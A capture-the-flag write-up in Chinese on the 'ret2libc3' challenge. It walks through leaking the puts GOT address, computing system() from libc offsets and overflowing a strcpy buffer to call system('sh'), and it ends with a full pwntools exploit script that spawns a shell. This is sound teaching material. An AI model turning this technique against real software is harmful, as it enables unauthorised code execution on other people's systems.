作為一名初學者,在碰到很多攻擊思路的時候會感覺很妙,比如gadget的構造,這題的sh參數截斷。
1、首先分析程式架構和保護措施。

2、使用IDA開始判斷程式是否具備最簡單的棧溢出執行條件:
ret2text:不具備,沒有shell可執行代碼
ret2shellcode:不具備寫入全局區域的入口
沒有bin/bash可用,也沒有system函數可以調用
沒有完整gadget構造鍊
3、執行程式,通過IDA分析main函數
程式首先輸出一段文字,然後提醒輸入記憶體位址來檢視該位址的内容,通過See_something函數實作。
See_something函數如下:
然後讀取字元串寫入&src,然後将&src指針參數傳遞給Print_message函數
檢視Print_message(&src)代碼。通過strcpy,将src中的内容拷貝到dest的記憶體空間中
Print_message存在棧溢出點,由于src的可寫入空間是0x100,而dest的記憶體空間隻有0x38,通過strcpy可以覆寫ret位址。
4、完整攻擊思路:
(1)通過第一次程式讀取任意記憶體位置内容,來讀取程式got表中的puts函數實際位址。在程式第一次調用puts函數時,函數指針指向plt,是以通過執行完一次puts後,再讀取got表中的實際位址;
(2)由于puts函數位址随機性,通過提供的libc檔案計算,puts函數和system函數的偏移量,這兩步最終就是為了得到libc中實際的system函數位址;
(3)通過strcpy棧溢出覆寫ret address,讓函數ret指向上面已經拿到的system函數;
(4)system函數的參數“sh”并不能在程式中找到,但是可以使用包含sh的任意字元串截斷形成參數(這一步太妙了);
5、先簡單的畫一個堆棧圖
當開始執行Print_message(&src)函數的時候,看到esp+0x12的記憶體位址寫入了eax,然後再最終寫入目前的esp。也就是将src的記憶體位址壓棧。
然後執行call Print_message,自動将下一行位址8048657(也就是ret address)push到堆棧,然後進入Print_message開始push ebp,并提升棧底,建立新的堆棧空間。
是以最終在Print_message函數中堆棧圖是這樣
将程式停留到strcpy執行完後的下一行,不要退出Print_message,觀察堆棧情況。
是以要達到能覆寫ret的長度是0xffffd7ec-0xffffd7b0
ret需要指向的system函數位址,通過libc偏移計算,借助pwntools,得到system函數在libc中的實際位址。也可以直接用ida加載libc.so計算。
最後需要找到system函數需要的sh參數
如下圖,這裡使用fflush字元串的截斷,是0x0804829E位置的sh。
然後就可以構造payload,得到shell。
from pwn import *
elf = ELF("./ret2libc3")
r = process("./ret2libc3")
libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")
r.recvuntil("Give me an address (in dec) :")
puts_gots_address = elf.got["puts"]
r.sendline(str(puts_gots_address))
s = r.recv()
puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)
offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]
system_libc_address = puts_libc_address + offset_libc_address
offset = 0xffffd7ec-0xffffd7b0
sh_address = 0x0804829E
shellcode = flat(offset*'A',system_libc_address,0xdeadbeef,sh_address)
r.sendline(shellcode)
r.interactive()